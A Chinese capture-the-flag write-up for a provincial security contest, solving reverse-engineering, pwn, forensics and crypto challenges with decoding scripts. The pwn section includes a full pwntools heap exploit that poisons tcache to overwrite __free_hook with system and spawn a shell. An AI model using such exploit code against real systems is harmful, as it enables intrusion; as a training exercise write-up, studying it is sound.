第八届山东省网络安全技能大赛wp

目录

Reverse

0x0 EasyApk

  • 直接JEB加载:
  • 主窗口代码如下

  • Encode类代码:

  • 其实就是魔改的base64加密。其中函数base_1是将输入的字符串转成二进制流,函数base就是base64加密算法。首先判断数据是否为24的倍数,不是就在末尾补0,正好符合base加密的特征之一。然后将数据6个位划分为一组,循环查表,符合base加密的特征之二。然后就是字符替换表被修改了,那么结合base的特点,我们可以同时将密文和字符表中的非ASCII码换成对应的ASCII码,且保证每个ASCII码不重复,解密就行了。替换规则如下:
  • 原来的字符表:αβγδεζηθικλμνξοπρστυφχψωさしすせそたちつってとゐなにぬねのはひふへほゑまawopxqudlg+/

    替换后的字符表:-.<>?A'1[]{}|!@#$%^&()`~erstyizxcvbnmjkERSTYIZXCawopxqudlg+/

  •  

    原来的密文:しぬwてしdほγさωξにξゐσつτωξつそpβつしψζpψτεてつρ;;

    替换后的密文:rkwvrdZ<e~!j!n%x^~!xyp.xr`Ap`^?vx$;;

     

  •  

    到此,如果使用自己编写的脚本只需将检测字符表长度是否为64注释掉,解密没有问题。如果是用别人的工具解密的话,可能就要将字符表和密文全替换成标准的形式,不过这样工作量比较大。

    最后解的flag:

     

     

0x1 FlagEncode

  • 先看一下程序有没有壳

  •  没壳直接上IDA:

  • 很清晰的一个加密过程,也非常简单。加密用的是一个循环密钥,关键在于密钥怎么求。这里用到PE文件的一个特性:一般来说每个PE文件在偏移为0x4E处都有一段“This program cannot be run in DOS mode”

  •  我们可以利用这个线索反求key:

  • 最后解密程序:

0x2 EasyRE

  • 老规矩,先看有没有壳:

  • 好,没壳直接上IDA,只看到一大堆未识别的函数,此时莫慌,字符串搜索居然发现了flag?

  • 真的这么简单的吗?提交果然不对!接着往下看,对

进行交叉引用,来到真正对输入进行校验的地方:

  • 脚本:
data=[0x78,0x49,0x72,0x43,0x6A,0x7E,0x3C,0x72,0x7C,0x32,0x74,0x57,0x73,0x76,0x33,0x50,0x74,0x49,0x7F,0x7A,0x6E,0x64,0x6B,0x61]

flag=''
for i in data:
    flag+=chr((i^6)-1)
print(flag[::-1])
  • flag{xNqU4otPq3ys9wkDsN}

0x3 HardAPP

  • 这是赛后分析的,校验是放在线程中的,并且通过触发异常才会来到解密flag的地方

  • 表哥说IDA未能正确识别sub_4026F0()就是memset()和sub_402990()就是memcpy()。到此只需要爆破lpThreadParameter这个参数即可。

脚本

#include <tchar.h>
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
#include <conio.h>
#include<memory.h>
#include"defs.h"  

#pragma comment (lib, "advapi32")

#define KEYLENGTH  0x00800000
#define ENCRYPT_ALGORITHM CALG_RC4 
#define ENCRYPT_BLOCK_SIZE 8 

void sub_4013C0(BYTE *a1, int a2)
{
	int result; // eax@3
 	  int i; // [sp+0h] [bp-4h]@1
	for (i = 15; i >= 0; i--)
	{
		memcpy(&a1[i * 2], &a2, 2);
		a2 ^= ((unsigned int)(unsigned __int16)a2 >> 4) ^ ((unsigned __int16)a2 << 11) ^ ((unsigned __int16)a2 << 7);
	}
}


int StartAddress(int lpThreadParameter)
{
	DWORD pdwDataLen; // [sp+0h] [bp-98h]@1
	BYTE Data[32] = { 0x19, 0x85, 0x52, 0x7d, 0xb7, 0xb8, 0x5a, 0xbe, 0x59, 0x30, 0xec, 0xed, 0xf9, 0x21, 0x79, 0xf4, 0xcc, 0x87, 0x3e, 0x9a, 0x3d, 0x4c, 0x25, 0xe4, 0x17, 0xb2, 0x34, 0x73, 0x79, 0xff, 0x88, 0x28 };
	HCRYPTPROV phProv; // [sp+8h] [bp-90h]@1
	HCRYPTKEY phKey; // [sp+Ch] [bp-8Ch]@1
	BYTE bKey[0x2c];
	unsigned char key1[0xC] = { 0x08, 0x02, 0x00, 0x00, 0x10, 0x66, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00 };
	BYTE key2[0x20] = { 0 };

	phProv = 0;
	phKey = 0;
	CryptAcquireContextA(&phProv, 0, 0, 0x18u, 0);// 鑾峰緱鎸囧畾CSP鐨勫瘑閽ュ鍣ㄧ殑鍙ユ焺,浣跨敤榛樿瀹瑰櫒鍚嶏紝鎸囧畾CSP鎻愪緵鑰呯殑鍚嶇О涓虹┖锛屽姞瀵嗙被鍨?0x18

	memset(bKey, 0, 0x2c);
	memset(key2, 0, 0x20);
	memcpy(bKey, key1, 0xc);
	sub_4013C0(key2, lpThreadParameter);
	memcpy(((BYTE*)&bKey) + 0xc, key2, 0x20);
	CryptImportKey(phProv, bKey, 0x2C, 0, 0, &phKey);
	DWORD dwMode = CRYPT_MODE_ECB;
	CryptSetKeyParam(phKey, KP_MODE, &dwMode, 0);
	pdwDataLen = 32;
	CryptDecrypt(phKey, 0, 1, 0, Data, &pdwDataLen);
	if (*(_DWORD *)&Data == 0x67616C66)
	{
		printf("%s\n", Data);
		return 1;
	}
	else
		return 0;
}

int main()
{
	int i=1;
	for(;i<0xffffffff;i++)
		if(StartAddress(i))break;
	return 0;
}

PWN

0x4

  • 比赛的时候没做出来,赛后在zero表哥的指导下做出来了。
  • 首先看一下程序开启了什么保护:

  • RELRO都开起了,看来只能修改hook表了。程序有添加/打印/删除操作。添加操作中存在堆溢出漏洞:

  • size=0时就可以无限写。另外程序限制分配的大小不得超过0x40,所以要想泄露libc,还得想办法让某个chunk进入unsortbin中。此外,程序给出的libc2.29的,引入了tcache机制,因此我们先要释放7个chunk填满tcache,后面才能正常进入对应的bin中。
  • 我的想法是利用堆溢出伪造一个大小在unsortbin中的chunk,然后释放之以泄露内存。但是始终没有成功,就这个问题我请教了zero表哥,他说这题是利用scanf的一个机制来泄露内存的。
  • 这就触及到我的知识盲区了。
  • scanf函数在接收很长的数据时,即使关闭了输入缓冲区:

  • 他也会申请一块large chunk来存放这段数据,此时会如果fastbin中有闲置的chunk,就会被合并放入unsortbin中。难怪我之前还多余去构造unsortbin,最后都被这个给破坏了,所以泄露不出来。能够泄露内存后就利用tcache attack,修改fdfree_hook,然后malloc两次,就会得到free_hook的内存,将其修改为system,然后free掉一个含有/bin/sh\0chunk就可以getshell

EXP:

#encoding=utf-8
from pwn import*

#context.log_level=1
p=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.28.so',checksec=False)

def Add(name,size,data):
    p.sendlineafter(':','1')
    p.sendlineafter('id:',name)#16
    p.sendlineafter('name:',str(size))
    p.sendlineafter('book:',data)

def Show(idx):
    p.sendlineafter(':','3')
    p.sendlineafter('number:',str(idx))

def Del(idx):
    p.sendlineafter(':','2')
    p.sendlineafter('number?',str(idx))

for i in range(14):
    Add(p8(i+1)*0xf,0x10,p8(i+1)*0xf)
for i in range(7):
    Del(i)

p.sendlineafter(':','1')
p.sendlineafter('id:','hack')#16
p.sendlineafter('name:','6'*0x666)
for i in range(7):
    Add('',0x10,'')
Add('/bin/sh\0',0x10,'/bin/sh\0')#14
Show(5)
p.recvuntil('\x69\x73\x20')
libc_base=u64(p.recv(6).ljust(8,'\0'))-0x1bbca0
free_hook=libc.sym['__free_hook']+libc_base
system=libc.sym['system']+libc_base
success('libc_base:'+hex(libc_base))
success('free_hook:'+hex(free_hook))

Del(0)
Del(1)
Del(2)
Add('hack',0,'\0'*0x10+p64(0)+p64(0x21)+p64(free_hook))#0
'''gdb.attach(p)
pause()'''
Add('',0x10,'')
Add(p64(system),0,p64(system))
Del(14)

p.interactive()

Misc

0x5 瞅啥

  • 图片如下:

  • binwalk查看发现有隐藏的文件

  • 分离得出两个文件:png和zip。而png和没分离之前是一样的图案,zip显示是加密的。在排除了伪加密之后,怀疑密码藏在图片里。根据题目和图片得到暗示,修改高度后得到解压密码:

  • 解压得到doc文件,但是flag不在里面。将其修改为zip的后缀,从解压文件中找到flag:

0x6 流量包分析

  • 看到http协议里面有sql注入,于是过滤出http的数据包。观察服务器返回的数据,有这么两种结果:

 

可见是报错注入,正确会显示welcome to sanya,错误会显示nothing。所以再查找包含welcome to sanya的数据包,查看requst一栏,比对一下即可得到flag。

0x7 教练带我打CTF

  • binwalk分离文件,将分离出的文件用imageIN打开:

  • 社会主义核心价值观编码,解码得到flag:
  • 爱国爱党爱人民!flag is flag{94e25cc5b1485a2067d3d83b45b0471b}
  • 果然很社会!

Crypto

0x8 RSA1

  • 三素数问题,很简单实在不想写了。

0x9 RSA2

  • 常规分解N就可以了,比RSA1还简单,不写了。

0x10 MIX

  • 比赛时没做出来,不够自信,还用错了python版本去跑(因为我系统默认是python3运行py),结果跑都跑不起来,经过美化后的代码还是看的很懵逼:
(lambda __operator, __print, __g, __y: [(sys.setrecursionlimit(1000000), [
        [
            [
                [
                    [(decode(cipher), None)[1]
                        for __g['cipher'] in [('D6VNEIRAryZ8Opdbl3bOwqmBD+lmFXbcd/XSghalqYBh1FDtbJo=')]
                    ][0]
                    for __g['decode'], decode.__name__ in [(lambda cipher: (lambda __l: [(init(), [
                            [
                                [(lambda __after: (__print('sorry,you dont have the auth'), 0)[1]
                                    if (__l['auth'] != 1)
                                    else __after())(lambda: (lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [
                                        [__this() for __l['result'] in [(__operator.iadd(__l['result'], chr((s[(__l['i'] % 256)] ^ ord(__l['cipher'][__l['i']])))))]][0]
                                        for __l['i'] in [(__i)]
                                    ][0]
                                    if __i is not __sentinel
                                    else __after())(next(__items, __sentinel)))())(iter(range(len(__l['cipher']))), lambda: (__print(__l['result'].encode('base64')), None)[1], [])) for __l['auth'] in [(0)]][0]
                                for __l['cipher'] in [(__l['cipher'].decode('base64'))]
                            ][0]
                            for __l['result'] in [('')]
                        ][0])[1]
                        for __l['cipher'] in [(cipher)]
                    ][0])({}), 'decode')]
                ][0]
                for __g['init'], init.__name__ in [(lambda: (lambda __l: [
                    [(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(s.append(__l['i']), (k.append(ord(__l['key'][(__l['i'] % len(__l['key']))])), __this())[1])[1]
                            for __l['i'] in [(__i)]
                        ][0]
                        if __i is not __sentinel
                        else __after())(next(__items, __sentinel)))())(iter(range(256)), lambda: (lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [
                            [
                                [
                                    [
                                        [__this() for s[__l['j']] in [(__l['tmp'])]][0]
                                        for s[__l['i']] in [(s[__l['j']])]
                                    ][0]
                                    for __l['tmp'] in [(s[__l['i']])]
                                ][0]
                                for __l['j'] in [((((__l['j'] + s[__l['i']]) + k[__l['i']]) % 256))]
                            ][0]
                            for __l['i'] in [(__i)]
                        ][0]
                        if __i is not __sentinel
                        else __after())(next(__items, __sentinel)))())(iter(range(256)), lambda: None, []), []) for __l['j'] in [(0)]][0]
                    for __l['key'] in [('aV9hbV9ub3RfZmxhZw=='.decode('base64'))]
                ][0])({}), 'init')]
            ][0]
            for __g['k'] in [([])]
        ][0]
        for __g['s'] in [([])]
    ][0])[1]
    for __g['sys'] in [(__import__('sys', __g, __g))]
][0])(__import__('operator', level = 0), __import__('__builtin__', level = 0).__dict__['print'], globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))
  • 赛后问了一下,说要用python2跑。正常情况下会是这样的结果:

  • 再看代码,发现仅有一处判断的地方 if (__l['auth'] != 1),试着把 !=修改为==,运行得到base64编码,解码得到flag。

  • 就是这么简单,我还能怎么样呢?只能是满满的遗憾,又是送分的!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值